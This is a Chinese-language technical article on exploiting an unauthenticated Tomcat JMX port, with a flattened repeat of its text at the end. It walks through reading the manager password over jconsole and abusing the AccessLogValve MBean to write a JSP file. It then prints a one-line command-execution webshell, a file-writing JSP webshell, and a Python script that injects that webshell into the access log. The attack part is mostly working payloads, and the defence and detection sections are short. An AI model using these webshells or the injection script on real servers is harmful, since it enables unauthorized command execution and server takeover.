利用tomcat的JMX端口上传webshell
字数 1501 2025-08-27 12:33:22

利用Tomcat JMX端口上传WebShell技术分析

一、技术背景

Tomcat的JMX(Java Management Extensions)管理接口如果配置不当,特别是当配置为无认证访问时,攻击者可以利用该接口获取敏感信息并上传WebShell。本技术主要针对Tomcat JMX管理接口未正确配置认证机制的安全漏洞。

二、漏洞利用前提条件

  1. Tomcat JMX接口暴露在外网或内网可访问
  2. JMX配置为无密码访问(authenticate=false)
  3. JMX未启用SSL加密(ssl=false)

三、详细利用步骤

1. 配置Tomcat JMX无认证访问

修改Tomcat启动脚本catalina.sh,添加以下配置:

CATALINA_OPTS="$JAVA_OPTS -Djava.rmi.server.hostname=192.168.1.100 -Dcom.sun.management.jmxremote.port=1099 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false"

参数说明:

  • java.rmi.server.hostname: 指定JMX服务绑定的主机IP
  • com.sun.management.jmxremote.port: JMX服务监听端口(1099)
  • com.sun.management.jmxremote.authenticate: 是否启用认证(false表示不启用)
  • com.sun.management.jmxremote.ssl: 是否启用SSL加密(false表示不启用)

修改后重启Tomcat服务:

./shutdown.sh
./startup.sh

2. 连接JMX服务获取信息

本地运行jconsole连接JMX服务:

  1. 在Windows运行框中输入jconsole
  2. 连接到远程进程:service:jmx:rmi:///jndi/rmi://192.168.1.100:1099/jmxrmi

通过JMX可以获取以下关键信息:

  • Tomcat的web主目录:Dcatalina.home=/opt/apache-tomcat-8.0.3
  • /manager/html后台的访问密码

3. 上传WebShell

通过JMX的MBeans操作上传WebShell:

  1. 导航路径:MBeans -> Catalina -> Valve -> localhost -> AccessLogValue -> 操作
  2. 写入JSP后门文件路径:../webapps/docs/test11.jsp
  3. 实际写入路径:/opt/apache-tomcat-8.0.3/webapps/docs/test11.jsp

4. WebShell代码示例

简单命令执行WebShell:

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

高级文件管理WebShell:

<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<% 
int i=0;
String method=request.getParameter("act");
if(method!=null && method.equals("yoco")){
    String url=request.getParameter("url");
    String text=request.getParameter("smart");
    File f=new File(url);
    if(f.exists()){
        f.delete();
    }
    try{
        OutputStream o=new FileOutputStream(f);
        o.write(text.getBytes());
        o.close();
    }catch(Exception e){
        i++;
        %>0<%
    }
}
if(i==0){
    %>1<%
}
%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/")%>" name="url"><br>
<textarea rows="20" cols="80" name="smart"></textarea>
<input type="submit" value="Save">
</form>

5. 自动化利用脚本(jmx.py)

#!/usr/bin/env python
#coding=utf8
import sys
import urlparse
import urllib2

if __name__ == '__main__':
    url = 'http://192.168.1.100:8080'
    reqBind = '''/test?<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><%int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%><form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/")%>" name="url"><br><textarea rows="20" cols="80" name="smart">'''
    reqBind = reqBind.decode('utf-8')
    proxies = {"http":"http://127.0.0.1:8080"}
    try:
        print "\n[*]webshell:"
        print url + "/docs/test11.jsp"
        request = urllib2.Request(url+reqBind)
        request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0')
        request.add_header('Accept-Language', 'en-us;q=0.5,en;q=0.3')
        request.add_header('Referer', request.get_full_url())
        u = urllib2.urlopen(request, timeout=3)
        content = u.read()
        content = content.encode("utf-8")
        print "\n[*]response:\n"
        print content
    except Exception as e:
        print e

四、防御措施

  1. 启用JMX认证:设置-Dcom.sun.management.jmxremote.authenticate=true
  2. 配置强密码:修改jmxremote.password文件设置复杂密码
  3. 启用SSL加密:设置-Dcom.sun.management.jmxremote.ssl=true
  4. 限制访问IP:通过防火墙限制JMX端口的访问来源
  5. 监控JMX端口:对JMX端口的异常连接进行监控和告警
  6. 最小权限原则:不要使用root或管理员权限运行Tomcat

五、检测方法

  1. 使用nmap扫描目标服务器1099端口是否开放
  2. 尝试使用jconsole连接JMX服务,检查是否需要认证
  3. 检查Tomcat启动参数是否包含不安全的JMX配置

六、漏洞影响

成功利用此漏洞攻击者可以:

  1. 获取Tomcat服务器敏感配置信息
  2. 上传WebShell获取服务器控制权
  3. 执行任意系统命令
  4. 读写服务器文件系统
  5. 进一步渗透内网其他系统

七、参考链接

  1. Tomcat JMX配置参考
  2. Oracle官方JMX文档
利用Tomcat JMX端口上传WebShell技术分析 一、技术背景 Tomcat的JMX(Java Management Extensions)管理接口如果配置不当,特别是当配置为无认证访问时,攻击者可以利用该接口获取敏感信息并上传WebShell。本技术主要针对Tomcat JMX管理接口未正确配置认证机制的安全漏洞。 二、漏洞利用前提条件 Tomcat JMX接口暴露在外网或内网可访问 JMX配置为无密码访问(authenticate=false) JMX未启用SSL加密(ssl=false) 三、详细利用步骤 1. 配置Tomcat JMX无认证访问 修改Tomcat启动脚本 catalina.sh ,添加以下配置: 参数说明: java.rmi.server.hostname : 指定JMX服务绑定的主机IP com.sun.management.jmxremote.port : JMX服务监听端口(1099) com.sun.management.jmxremote.authenticate : 是否启用认证(false表示不启用) com.sun.management.jmxremote.ssl : 是否启用SSL加密(false表示不启用) 修改后重启Tomcat服务: 2. 连接JMX服务获取信息 本地运行jconsole连接JMX服务: 在Windows运行框中输入 jconsole 连接到远程进程: service:jmx:rmi:///jndi/rmi://192.168.1.100:1099/jmxrmi 通过JMX可以获取以下关键信息: Tomcat的web主目录: Dcatalina.home=/opt/apache-tomcat-8.0.3 /manager/html 后台的访问密码 3. 上传WebShell 通过JMX的MBeans操作上传WebShell: 导航路径: MBeans -> Catalina -> Valve -> localhost -> AccessLogValue -> 操作 写入JSP后门文件路径: ../webapps/docs/test11.jsp 实际写入路径: /opt/apache-tomcat-8.0.3/webapps/docs/test11.jsp 4. WebShell代码示例 简单命令执行WebShell: 高级文件管理WebShell: 5. 自动化利用脚本(jmx.py) 四、防御措施 启用JMX认证 :设置 -Dcom.sun.management.jmxremote.authenticate=true 配置强密码 :修改 jmxremote.password 文件设置复杂密码 启用SSL加密 :设置 -Dcom.sun.management.jmxremote.ssl=true 限制访问IP :通过防火墙限制JMX端口的访问来源 监控JMX端口 :对JMX端口的异常连接进行监控和告警 最小权限原则 :不要使用root或管理员权限运行Tomcat 五、检测方法 使用nmap扫描目标服务器1099端口是否开放 尝试使用jconsole连接JMX服务,检查是否需要认证 检查Tomcat启动参数是否包含不安全的JMX配置 六、漏洞影响 成功利用此漏洞攻击者可以: 获取Tomcat服务器敏感配置信息 上传WebShell获取服务器控制权 执行任意系统命令 读写服务器文件系统 进一步渗透内网其他系统 七、参考链接 Tomcat JMX配置参考 Oracle官方JMX文档